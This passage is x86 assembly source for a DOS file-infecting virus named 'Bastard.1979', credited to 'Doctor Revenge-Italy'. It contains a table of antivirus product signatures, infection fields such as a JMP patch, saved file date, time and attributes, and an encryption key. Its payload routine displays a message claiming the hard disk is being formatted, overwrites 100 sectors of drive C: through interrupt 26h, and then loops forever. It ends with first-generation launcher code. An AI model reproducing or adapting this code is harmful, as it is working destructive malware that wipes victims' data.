	     db      'F-'                ; F-PROT
	     db      'TB'                ; ThunderByte Anti-Virus
	     db      'VS'                ; Vsafe
	     db      'VI'                ; VIRSTOP
	     db      'IM'                ; Integrity Master
	     db      'MS'                ; Microsoft Anti-Virus
	     db      'CV'                ; CVInfo
	     db      '  '
table_end:
virus_offset equ     word ptr $+01h	 ; Offset of virus within infected ...
infect_code  db      11101001b,?,?,0bh	 ; JMP imm16 (opcode 0e9h)
file_date    dw      ?			 ; File date
file_time    dw      ?			 ; File time
file_attr    db      ?			 ; File attributes
crypt_key    db      ?			 ; Encryption/decryption key
messag_begin:
message:
bastar_begin:
bastard___vi db      'BASTARD!! Virus <Unlawful Auto-Format Program>'
bastar_end:
copyright__c db      'CopyRight (c) 1993-94 by Doctor Revenge-Italy-'
please_begin:
please_wait_ db      'Please wait,formatting your precious Hard Disk...'
please_end:
messag_end:

payload_     proc    near		 ; Payload of Bastard.1979
	     nop
	     nop
	     call    decrypt_mesg

             mov     ah,06h              ; Scroll up window
             mov     al,00h              ; Clear entire window
             mov     bh,77h              ; BH = attribute used to write bla...
             mov     ch,0ah              ; CH = row of window's upper left ...
             mov     cl,0fh              ; CL = column of window's upper le...
             mov     dh,12h              ; DL = row of window's lower right...
             mov     dl,41h              ; DH = column of window's lower ri...
	     int     10h

             mov     bh,00h              ; BH = attribute used to write bla...
             mov     ch,0bh              ; CH = row of window's upper left ...
             mov     cl,10h              ; CL = column of window's upper le...
             mov     dh,0fh              ; DL = row of window's lower right...
             mov     dl,40h              ; DH = column of window's lower ri...
	     int     10h

             mov     ah,13h              ; Write string
             mov     al,00h              ; AL = write mode
	     mov     bh,00h		 ; BH = page number
             mov     bl,0bh              ; BL = attribute if string contain...
             mov     dh,0ch              ; DH = row at which to start writing
             mov     dl,12h              ; DL = column at which to start wr...
             push    cs                  ; Save CS at stack
             pop     es                  ; Load ES from stack (CS)
             lea     bp,bastard___vi     ; BP = offset of bastard___vi
	     mov     cx,(bastar_end-bastar_begin)
	     int     10h

             inc     dh                  ; Increase row at which to start w...
             inc     dh                  ; Increase row at which to start w...
             lea     bp,copyright__c     ; BP = offset of copyright__c
	     int     10h

             add     dh,03h              ; Add three to row at which to sta...
             lea     bp,please_wait_     ; BP = offset of please_wait_
             dec     dl                  ; Decrease column at which to star...
             dec     dl                  ; Decrease column at which to star...
             mov     bl,70h              ; BL = attribute if string contain...
	     mov     cx,(please_end-please_begin)
	     int     10h

             mov     al,02h              ; AL = drive number (C:)
             mov     dx,03h              ; DX = starting logical sector num...
             mov     cx,64h              ; CX = number of sectors to write
	     int     26h
eternal_loop:
	     jmp     eternal_loop
	     endp
code_end:
	     db      0b4h dup(?)	 ; Stack
stack_ptr_:
	     db      155h dup(?)
data_end:
first_genera:
	     cld			 ; Clear direction flag
	     mov     cx,(origin_end-origin_begin)
	     mov     di,100h		 ; DI = offset of beginning of code
	     lea     si,origin_code_	 ; SI = offset of origin_code_
	     rep     movsb
origin_begin:
origin_code_:
	     push    ds 		 ; Save DS at stack
             pop     cs:[program_seg]    ; Load segment of PSP for current ...
origin_end:
	     call    decrypt_mesg

	     jmp     virus_begin

end	     code_begin
